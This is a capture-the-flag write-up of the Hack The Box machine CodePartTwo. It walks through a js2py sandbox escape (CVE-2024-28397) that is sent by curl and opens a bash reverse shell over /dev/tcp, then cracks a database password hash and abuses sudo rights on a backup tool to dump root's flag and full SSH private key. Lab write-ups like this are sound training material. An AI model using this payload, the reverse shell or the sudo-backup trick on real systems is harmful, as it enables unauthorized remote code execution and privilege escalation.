Skip to main content
HTB: CodePartTwo
  1. Posts/

HTB: CodePartTwo

Table of Contents

Introduction
#

Following a similar pattern to Code, this box presents a website with a JavaScript code editor. By downloading the site’s source code, I identify a vulnerable library that facilitates a sandbox escape, leading to code execution and ultimately, a foothold on the host system. Once on the host, I find a database containing credentials for another user. Leveraging their sudo privileges over a backup utility, I am able to get a copy of /root directory, which holds both the flag and an SSH key for easy access.

Recon
#

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (8000):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.47.160
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCnwmWCXCzed9BzxaxS90h2iYyuDOrE2LkavbNeMlEUPvMpznuB9cs8CTnUenkaIA8RBb4mOfWGxAQ6a/nmKOea1FA6rfGG+fhOE/R1g8BkVoKGkpP1hR2XWbS3DWxJx3UUoKUDgFGSLsEDuW1C+ylg8UajGokSzK9NEg23WMpc6f+FORwJeHzOzsmjVktNrWeTOZthVkvQfqiDyB4bN0cTsv1mAp1jjbNnf/pALACTUmxgEemnTOsWk3Yt1fQkkT8IEQcOqqGQtSmOV9xbUmv6Y5ZoCAssWRYQ+JcR1vrzjoposAaMG8pjkUnXUN0KF/AtdXE37rGU0DLTO9+eAHXhvdujYukhwMp8GDi1fyZagAW+8YJb8uzeJBtkeMo0PFRIkKv4h/uy934gE0eJlnvnrnoYkKcXe+wUjnXBfJ/JhBlJvKtpLTgZwwlh95FJBiGLg5iiVaLB2v45vHTkpn5xo7AsUpW93Tkf+6ezP+1f3P7tiUlg3ostgHpHL5Z9478=
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBErhv1LbQSlbwl0ojaKls8F4eaTL4X4Uv6SYgH6Oe4Y+2qQddG0eQetFslxNF8dma6FK2YGcSZpICHKuY+ERh9c=
|   256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEJovaecM3DB4YxWK2pI7sTAv9PrxTbpLG2k97nMp+FM
8000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
| http-methods: 
|_  Supported Methods: HEAD OPTIONS GET
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web - TCP 8000
#

Starting with the website:

web

I can create an account and log in:

web2
web3

Once logged in I see code window for javascript code:

web4

There is also an option to download the app

I get a app.zip which contains two interesting files: app.py, requirements.txt - there is also users.db in /app/instance but the database is empty.

Code review
#

Looking at the python code there are few mistakes, for example a hardcoded secret_key: app.secret_key = 'S3cr3tK3yC0d3PartTw0' but this is a showcase version, the deployed version might be different and in most cases is.

Next, there is much more serious issue.

In the /run_code endpoint the user controlled code is used by js2py.eval_js() function"

@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})

That is the prime spot for something to go wrong.

Looking at requirements.txt:

└─$ cat requirements.txt 
flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

There is js2py 0.74 - quick Google search points me towards a promising-looking CVE

CVE-2024-28397
#

An issue in the component js2py.disable_pyimport() of js2py up to v0.74 allows attackers to execute arbitrary code via a crafted API call.

TL;DR - There is a vulnerability in the implementation of a global variable inside js2py, that will allow me to get a reference to a python object in the js2py environment, and so I can escape the JS environment and execute arbitrary commands on the host.

There is an attempt to prevent that, the js2py.disable_pyimport() function at the top. It was designed to prevent JavaScript code from directly importing Python modules using js2py’s pyimport(), but it only blocks that one specific mechanism. CVE-2024-28397 exploit other pathways to escape the JavaScript sandbox.

More info HERE

To test if POST request will execute code I can send a quick test request:

└─$ curl -X POST http://10.129.47.160:8000/run_code \
  -H "Content-Type: application/json" \
  -d '{"code": "2+2"}'             
{"result":4}

And it does, now I can try a little more complex with a reverse shell, heavily inspired by PoC from HERE

└─$ curl -X POST http://10.129.47.160:8000/run_code \
  -H "Content-Type: application/json" \
  -d '{
    "code": "let cmd = \"bash -c '\''/bin/bash -i >& /dev/tcp/10.10.14.68/4444 0>&1'\''\"; let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__; let obj = a(a(a, \"__class__\"), \"__base__\"); function findpopen(o) { let result; for(let i in o.__subclasses__()) { let item = o.__subclasses__()[i]; if(item.__module__ == \"subprocess\" && item.__name__ == \"Popen\") { return item; } if(item.__name__ != \"type\" && (result = findpopen(item))) { return result; } } } findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();"
  }'

Explanation
#

Leaky Abstraction

js2py is supposed to create a “sandbox” where JavaScript runs safely, isolated from Python. But here’s the critical flaw: js2py implements JavaScript objects as Python objects underneath.

When I create a JavaScript object like {}, js2py doesn’t create a true isolated JavaScript object - it creates a Python object that behaves like a JavaScript object. This means Python’s object model is still accessible.

Breaking Out: Accessing Python’s Object Hierarchy

let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;

Step 1: Object.getOwnPropertyNames({})

  • Returns an array of property names from an empty object.
  • In js2py, this returns a PyJsArray object (Python class disguised as JavaScript array).

Step 2: .__class__

  • This is NOT a JavaScript property - it’s a Python special attribute
  • In Python, every object has .__class__ which references its class
  • For the PyJsArray, this returns something like <class 'js2py.base.PyJsArray'>
  • This is where I escape the JavaScript sandbox into Python!

Step 3: .__base__

  • Another Python special attribute
  • Gets the base/parent class in the inheritance hierarchy
  • Moves us up the chain toward Python’s root object class

Step 4: .__getattribute__

  • Gets Python’s attribute access method
  • This method is used to access any attribute on any Python object
  • Now stored in variable a

Step 5: let obj = a(a(a, "__class__"), "__base__");

  • a(a, "__class__") = Get the __class__ of __getattribute__ method
  • Then get __base__ of that class
  • Result: obj now holds Python’s base object class

In Python, the object class is the ancestor of ALL classes. From here, we can access every single class.

Finding the subprocess.Popen

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i];
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item;
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result;
        }
    }
}

Step 1: o.__subclasses__()

  • object.__subclasses__() returns a list of ALL classes that inherit from object
  • This includes: list, dict, str, int, and importantly subprocess.Popen

Step 2: Loop through and search

if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
    return item;
}
  • Search specifically for the Popen class from the subprocess module
  • subprocess.Popen is Python’s class for executing system commands

Step 3: Recursive search

if(item.__name__ != "type" && (result = findpopen(item))) {
    return result;
}
  • If not found in direct subclasses, search recursively
  • This searches the entire class hierarchy tree and eventually finds subprocess.Popen

Execute the Payload

let cmd = 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1';
findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();

Step 1: findpopen(obj)

  • Returns the subprocess.Popen class itself

Step 2: findpopen(obj)(...)

  • Calls the Popen constructor, creating a new Popen instance
  • The arguments map to Popen’s parameters:
# Equivalent Python code:
subprocess.Popen(
    cmd,                    # The command to execute
    -1,                     # bufsize
    None,                   # executable
    -1,                     # stdin
    -1,                     # stdout
    -1,                     # stderr
    None,                   # preexec_fn
    None,                   # close_fds
    True                    # shell=True
)

The shell=True parameter is crucial - tells Popen to execute the command through a shell (bash), which allows:

  • Bash redirections like >&
  • Special files like /dev/tcp/
  • Command chaining

Step 3: .communicate()

  • Waits for the process to complete
  • Executes the command immediately

Why disable_pyimport() Failed to Protect

js2py.disable_pyimport()

This function ONLY disables the pyimport() JavaScript function, which allows direct imports like:

// This would be blocked:
var os = pyimport('os');

But this exploit never uses pyimport(), instead, it uses standard JavaScript object introspection, exploits the fact that js2py objects ARE Python objects, accesses Python internals through __class__ attribute and navigates the object hierarchy that’s already loaded in memory

Shell as app
#

and I get a shell at my listener:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.68] from (UNKNOWN) [10.129.47.160] 35460
bash: cannot set terminal process group (937): Inappropriate ioctl for device
bash: no job control in this shell
app@codeparttwo:~/app$

As in the .zip before, there is a users.db in /app/instance:

app@codeparttwo:~/app/instance$ ls
ls
users.db

Only this time it is not empty:

app@codeparttwo:~/app/instance$ sqlite3 users.db
sqlite3 users.db
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
.tables
code_snippet  user        
sqlite> select * from user;
select * from user;
1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e

I fire up CrackStation and get a password for marco:

web5

marco:sweetangelbabylove

Root
#

With the pawwsord I can su or ssh in and grab the user flag:

└─$ ssh marco@10.129.47.160
marco@10.129.47.160's password: 

<SNIP>

marco@codeparttwo:~$ ls
backups  npbackup.conf  user.txt
marco@codeparttwo:~$ cat user.txt

Moving to root, I start with clasic sudo -l:

marco@codeparttwo:~$ sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Ok, there is one hit:

marco@codeparttwo:~$ cat /usr/local/bin/npbackup-cli
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import re
import sys
from npbackup.__main__ import main
if __name__ == '__main__':
    # Block restricted flag
    if '--external-backend-binary' in sys.argv:
        print("Error: '--external-backend-binary' flag is restricted for use.")
        sys.exit(1)

    sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
    sys.exit(main())

When attempting to run I get this:

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli
2026-01-20 08:42:51,120 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-20 08:42:51,120 :: CRITICAL :: Cannot run without configuration file.
2026-01-20 08:42:51,126 :: INFO :: ExecTime = 0:00:00.009120, finished, state is: critical.

Ok, I need a configuration file, there is sample one in my folder:

marco@codeparttwo:~$ ls
backups  npbackup.conf  user.txt
marco@codeparttwo:~$ cat npbackup.conf 
conf_version: 3.0.1
audience: public
repos:
  default:
    repo_uri: 
      __NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/
      source_type: folder_list
      exclude_files_larger_than: 0.0
    repo_opts:
      repo_password: 
        __NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
      retention_policy: {}
      prune_max_unused: 0
    prometheus: {}
    env: {}
    is_protected: false
groups:
  default_group:
    backup_opts:
      paths: []
      source_type:
      stdin_from_command:
      stdin_filename:
      tags: []
      compression: auto
      use_fs_snapshot: true
      ignore_cloud_files: true
      one_file_system: false
      priority: low
      exclude_caches: true
      excludes_case_ignore: false
      exclude_files:
      - excludes/generic_excluded_extensions
      - excludes/generic_excludes
      - excludes/windows_excludes
      - excludes/linux_excludes
      exclude_patterns: []
      exclude_files_larger_than:
      additional_parameters:
      additional_backup_only_parameters:
      minimum_backup_size_error: 10 MiB
      pre_exec_commands: []
      pre_exec_per_command_timeout: 3600
      pre_exec_failure_is_fatal: false
      post_exec_commands: []
      post_exec_per_command_timeout: 3600
      post_exec_failure_is_fatal: false
      post_exec_execute_even_on_backup_error: true
      post_backup_housekeeping_percent_chance: 0
      post_backup_housekeeping_interval: 0
    repo_opts:
      repo_password:
      repo_password_command:
      minimum_backup_age: 1440
      upload_speed: 800 Mib
      download_speed: 0 Mib
      backend_connections: 0
      retention_policy:
        last: 3
        hourly: 72
        daily: 30
        weekly: 4
        monthly: 12
        yearly: 3
        tags: []
        keep_within: true
        group_by_host: true
        group_by_tags: true
        group_by_paths: false
        ntp_server:
      prune_max_unused: 0 B
      prune_max_repack_size:
    prometheus:
      backup_job: ${MACHINE_ID}
      group: ${MACHINE_GROUP}
    env:
      env_variables: {}
      encrypted_env_variables: {}
    is_protected: false
identity:
  machine_id: ${HOSTNAME}__blw0
  machine_group:
global_prometheus:
  metrics: false
  instance: ${MACHINE_ID}
  destination:
  http_username:
  http_password:
  additional_labels: {}
  no_cert_verify: false
global_options:
  auto_upgrade: false
  auto_upgrade_percent_chance: 5
  auto_upgrade_interval: 15
  auto_upgrade_server_url:
  auto_upgrade_server_username:
  auto_upgrade_server_password:
  auto_upgrade_host_identity: ${MACHINE_ID}
  auto_upgrade_group: ${MACHINE_GROUP}

I can change the path to anything else

paths:
      - /root/

save it as new config file and run the backup:

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /home/marco/conf2.conf -b
2026-01-20 09:33:37,096 :: INFO :: npbackup 3.0.1-linux-UnknownBuildType-x64-legacy-public-3.8-i 2025032101 - Copyright (C) 2022-2025 NetInvent running as root
2026-01-20 09:33:37,135 :: INFO :: Loaded config 09F15BEC in /home/marco/conf2.conf
2026-01-20 09:33:37,148 :: INFO :: Searching for a backup newer than 1 day, 0:00:00 ago
2026-01-20 09:33:39,318 :: INFO :: Snapshots listed successfully
2026-01-20 09:33:39,319 :: INFO :: No recent backup found in repo default. Newest is from 2025-04-06 03:50:16.222832+00:00
2026-01-20 09:33:39,320 :: INFO :: Runner took 2.171653 seconds for has_recent_snapshot
2026-01-20 09:33:39,320 :: INFO :: Running backup of ['/root/'] to repo default
2026-01-20 09:33:40,399 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excluded_extensions
2026-01-20 09:33:40,400 :: ERROR :: Exclude file 'excludes/generic_excluded_extensions' not found
2026-01-20 09:33:40,400 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/generic_excludes
2026-01-20 09:33:40,400 :: ERROR :: Exclude file 'excludes/generic_excludes' not found
2026-01-20 09:33:40,400 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/windows_excludes
2026-01-20 09:33:40,400 :: ERROR :: Exclude file 'excludes/windows_excludes' not found
2026-01-20 09:33:40,400 :: INFO :: Trying to expanding exclude file path to /usr/local/bin/excludes/linux_excludes
2026-01-20 09:33:40,400 :: ERROR :: Exclude file 'excludes/linux_excludes' not found
2026-01-20 09:33:40,400 :: WARNING :: Parameter --use-fs-snapshot was given, which is only compatible with Windows
no parent snapshot found, will read all files

Files:          15 new,     0 changed,     0 unmodified
Dirs:            8 new,     0 changed,     0 unmodified
Added to the repository: 190.612 KiB (39.887 KiB stored)

processed 15 files, 197.660 KiB in 0:00
snapshot 56564a79 saved
2026-01-20 09:33:41,529 :: INFO :: Backend finished with success
2026-01-20 09:33:41,532 :: INFO :: Processed 197.7 KiB of data
2026-01-20 09:33:41,532 :: ERROR :: Backup is smaller than configured minmium backup size
2026-01-20 09:33:41,533 :: ERROR :: Operation finished with failure
2026-01-20 09:33:41,533 :: INFO :: Runner took 4.386201 seconds for backup
2026-01-20 09:33:41,533 :: INFO :: Operation finished
2026-01-20 09:33:41,539 :: INFO :: ExecTime = 0:00:04.445889, finished, state is: errors.

It ran and now I can look at any file in /root using the snapshot id mentioned in the output above:

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /home/marco/conf2.conf --dump /root/root.txt --snapshot-id 56564a79
20d6d75af5e0a31c6243a47ae774bf85

Be the Root
#

Same as the root flag I can grab a ssh key:

marco@codeparttwo:~$ sudo /usr/local/bin/npbackup-cli -c /home/marco/conf2.conf --dump /root/.ssh/id_rsa --snapshot-id 56564a79
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>
MBhgprGCU3dhhJMQAAAAxyb290QGNvZGV0d28BAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

Save it on my machine:

└─$ nano id_rsa

└─$ cat id_rsa      
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

And use that to ssh in as root:

└─$ chmod 600 id_rsa       

└─$ ssh -i id_rsa root@10.129.232.59
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-216-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Tue 20 Jan 2026 09:37:15 AM UTC

  System load:           0.0
  Usage of /:            57.4% of 5.08GB
  Memory usage:          23%
  Swap usage:            0%
  Processes:             227
  Users logged in:       1
  IPv4 address for eth0: 10.129.232.59
  IPv6 address for eth0: dead:beef::250:56ff:fe94:86b2


Expanded Security Maintenance for Infrastructure is not enabled.

0 updates can be applied immediately.

Enable ESM Infra to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Jan 20 09:37:16 2026 from 10.10.14.68
root@codeparttwo:
Author
~